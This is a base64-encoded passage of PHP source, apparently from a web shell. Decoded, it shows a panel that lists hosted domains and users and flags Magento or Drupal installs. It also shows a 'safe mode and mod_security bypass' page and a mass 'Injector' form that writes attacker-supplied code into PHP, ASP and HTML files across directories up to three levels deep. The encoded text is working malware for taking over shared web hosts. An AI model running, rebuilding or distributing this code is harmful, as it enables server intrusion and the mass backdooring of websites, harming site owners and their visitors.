ENhcnQ8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+TWFnZW50bzwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+Jy4kY291bnQrKy4nPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJGRvbWFpblsxXVswXS4nLz4nLiRkb21haW5bMV1bMF0uJzwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uJzwvdGQ+PHRkPicuJG91dC4nPC90ZD48L3RyPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgIAogICAgfQogICAgZWNobyAiPC9kaXY+IjsKICAgIGhhcmRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgaGFyZEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNhZmUgTW9kZTwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIDUwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Bhbj48L2gzPkZvbGxvd2luZyBwaHAuaW5pIGFuZCAuaHRhY2Nlc3MobW9kKSBhbmQgcGVybCguaHRhY2Nlc3MpW2NvbnZlcnQgcGVybCBleHRlb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RkZXB0aCkpIHsKICAgICAgICAgICAgJHRtcDEgPSBnbG9iKCRwYXRoLiREUy4nKicsR0xPQl9PTkxZRElSKTsKICAgICAgICAgICAgaWYoaW5fYXJyYXkoMSwgJGRlcHRoKSkgeyAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMSk7IH0KICAgICAgICB9CiAgICAgICAgaWYoaW5fYXJyYXkoMiwgJGRlcHRoKSBvciBpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAyID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMSBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAyID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMiA9IGFycmF5X21lcmdlKCR0bXAyLCAkdHAyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihpbl9hcnJheSgyLCAkZGVwdGgpKSB7ICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCR0bXAyKTsgfQogICAgICAgIH0KICAgICAgICBpZihpbl9hcnJheSgzLCAkZGVwdGgpKSB7CiAgICAgICAgICAgICR0bXAzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkdG1wMiBhcyAkdCl7CiAgICAgICAgICAgICAgICAkdHAzID0gZ2xvYigkdC4kRFMuJyonLEdMT0JfT05MWURJUik7CiAgICAgICAgICAgICAgICAkdG1wMyA9IGFycmF5X21lcmdlKCR0bXAzLCAkdHAzKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywkdG1wMyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzOwogICAgfQoKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pICYmICRfUE9TVFsnc3VibWl0J109PSdJbmplY3QnKSB7CiAgICAgICAgJG5hbWUgPSAkX1BPU1RbJ25hbWUnXSA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ICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkZC4kRFMuJG5hbWUuJy4nLiR0eXBlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxzdHJvbmc+Jy4kZC4kRFMuJG5hbWUuJy4nLiR0eXBlLic8L3N0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6bGltZTsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gICAgICAgIAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RGlyZWN0b3J5IDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy5nZXRjd2QoKS4nIiBzaXplPSI1MCIvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPk1vZGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhIj5BcGVuZGVyPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkZpbGUgTmFtZSAmIFR5cGUgOiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im5hbWUiIHZhbHVlPSIqIi8+Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJ0eXBlIiBjbGFzcz0iYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imh0bSI+SFRNPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+UEhQPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3AiPkFTUDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNweCI+QVNQWDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InR4dCI+VFhUPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkNvZGUgSW5qZWN0IERlcHRoIDogPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMCIgY2hlY2tlZD0iY2hlY2tlZCIvPiZuYnNwOzAmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjEiLz4mbmJzcDsxJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIyIi8+Jm5ic3A7MiZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMyIvPiZuYnNwOzMKICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIG5hbWU9ImNvZGUiIGNvbHM9IjcwIiByb3dzPSIxMCIgY2xhc3M9ImJveCI+PC90ZXh0YXJlYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IkluamVjdG9yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJwYWRkaW5nIDo1cHg7IHdpZHRoOjEwMHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIDwvZm9ybT4nOwogICAgfQogICAgZWNobyAnPC9kaXY+J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